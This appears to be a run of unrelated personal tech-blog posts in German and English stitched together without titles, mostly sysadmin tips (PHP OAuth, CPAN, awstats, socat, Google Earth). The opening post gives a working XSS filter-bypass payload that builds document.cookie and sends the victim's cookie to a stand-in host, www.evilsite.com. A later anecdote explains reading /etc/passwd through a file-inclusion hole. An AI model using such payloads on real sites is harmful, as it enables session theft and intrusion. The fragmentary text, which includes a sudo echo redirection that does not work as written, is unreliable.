Dieser Artikel ist durch ein Passwort geschützt.
Um ihn anzusehen, trage es bitte hier ein:

Passwort:

Die Strings cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert.

Erfolg gab es dann hiermit:

1

<iframe src=//google.de onload="this.src=['//www.evilsite.com?steal=',eval(['docume','nt.co','okie'].join(''))].join('')"></iframe>

Kurze Erklärung:

• Ich lege durch das <iframe>-Tag einen Iframe an, der auf http://www.google.de zeigt.
• Dieser bekommt ein onload-Event zugewiesen.
• Der darin enthaltene Javascript-Code erstellt aus Teilstücken das Wort document.cookie, packt es in die eval-Funktion um es als Variable auszuwerten und hängt danach den Rückgabewert – also den Cookie des Benutzers – an die URL des Iframes an.

Ich war positiv überrascht von der Eleganz meiner Lösung und freue mich immer, wenn ich weitere Beispiele für kreativen Umgang mit Restriktionen finde

1. Install PECL:
   sudo apt-get install php-auth php5-dev libpcre3-dev
2. Install PHP OAuth Library:
   sudo pecl install oauth
3. Make PHP Load the OAuth Library on PHP Startup:
   sudo echo "extension=oauth.so" > /etc/php5/conf.d/oauth.ini

Now a look at php -m on the command line or phpinfo() in a .php file on your web server should point out that PHP OAuth is ready for use!

Thanks to Darren, I found this easy solution.

Because these statistics are generated by awstats.pl, we needed to find a way to regenerate them from our gzipped Apache2 logfiles stored in /var/log/apache2 on our Debian systems.

Here’s our solution to the task at hand, a small shell script:

1
2
3
4
5
6
7
8
9
10
11
12

# Find all gzipped apache log files
for f in `ls access.log.*.gz`; 
# Unzip Logfile
do echo "unzip $f..";
gunzip $f; 
# Call Awstats on this logfile
echo "run awstats..";
perl /usr/lib/cgi-bin/awstats.pl -logfile=`echo $f | replace .gz ''` -update -config=awstats; 
# Gzip Logfile again to save space
echo "gzipping $f.."; 
gzip `echo $f | replace .gz ''`;
done

Was ist CPAN?

Für die Modulverwaltung gibt es in Perl ein Ungetüm namens “CPAN”, das ist in etwa mit apt(itude) bei Debian/Ubuntu oder yaml vergleichbar und kann als eine Art Paketmanager für Perl-Module angesehen werden.

Was ist ein Perl-Modul?

Ein Perl-Modul ist vergleichbar mit einer konventionellen Library, die von Binaries für bestimmte Funktionen benötigt wird. Es kann in Perl-Programmen eingebunden werden und stellen diesem eine Programmbibliothek zur Verfügung.

In unserem Fall ist die genaue Aufgabe von XML::SAX einen einfachen Zugriff auf XML-Dokumente zu ermöglichen.

Wie installiert man ein Modul per CPAN?

Das Modul XML::SAX habe ich wie folgt installiert:

1. Gehe in die CPAN-Shell mit folgendem Befehl:
   

   1	perl -MCPAN -e shell

   (Wenn du dabei irgendetwas gefragt wirst, einfach immer die Enter-Taste drücken und somit die Frage mit dem Standardwert beantworten)




2. Installiere das gewünschte Modul (hier: XML::SAX) mit
   

   1	install XML::SAX




3. Das Modul wird nun entweder aus dem bereits lokal vorhandenen Sourcecode entpackt (/usr/src unter Debian) oder aus dem Internet von CPAN.org heruntergeladen und danach automatisch per `make install` installiert.
   Wenn hierbei keine Fehler auftreten dann ist alles erfolgreich abgeschlossen worden.




4. Um zu überprüfen, ob das Modul wirklich installiert wurde, kannst du einfach erneut den Installationsbefehl eingeben.
   

   1	install XML::SAX

   CPAN sollte nun die Meldung XML::SAX is up to date (0.96) aussprucken, es ist also alles im grünen Bereich.

Nun ist das Perl-Modul XML::SAX installiert und verfügbar. Ich hoffe meine kleine Anleitung konnte dir helfen

1

find . -type f -a -name \*.html -o -name \*.js -o -name \*.js | xargs geany &

Have fun!

Ich habe schon viele gute Bewerbungen erhalten, aber sie waren alle nichts gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend:

• 12+ years PHP experience
• 8+ years Perl experience
• sehr ansprechender Stundenlohn

Das klingt nach einem Perl-Guru, der dann auf PHP umgesattelt ist, nicht wahr?

Es wurden zwei PHP-Projekte zur Referenz angeboten, direkt mal angeschaut und vom Stuhl gefallen. Der Grund ist nicht wirklich schwer zu finden, die URL sah wie folgt aus:

http://XXXXXXXXXXXX.com/?main=pce/index.php

Für die Personen die spätestens jetzt total verwirrt sind: Der Homepage wird hinter dem ? der Variable main die Adresse zu einem PHP-Script zugewiesen (und zwar pce/index.php).

Wenn man also den Inhalt von main entsprechend verändert, kann man beliebige Dateien des Servers anzeigen. Beispiel:

So können wir die Datei /etc/passwd auslesen, in der Informationen über die Benutzeraccounts eines Linux-Systems gespeichert sind. Natürlich ist jetzt auch nicht mehr weit bis zu einem erfolgreichen Hack, aber darum geht es an dieser Stelle auch nicht.

Es gab noch einige weitere Sicherheitslücken in seinen Referenzprojekten, und nett wie ich bin habe ich sie ihm natürlich auch sofort mitgeteilt.

Den Job wird er aber nicht bekommen und hiermit verabschiede ich mich, sprachlos.

socat TCP4-LISTEN:3306 TCP4:mein-server.de:8849

Im Notfall muss man vorher natürlich noch per apt-get install socat socat installieren!

Have fun!

Jetzt versuchen wir Google Earth über den Paketmanager zu installieren:

1

sudo apt-get install googleearth

Nach einigen Minuten Downloadzeit ist die Installion von Google Earth fertig. Nun können wir Google Earth unter Ubuntu verwenden. Viel Spaß!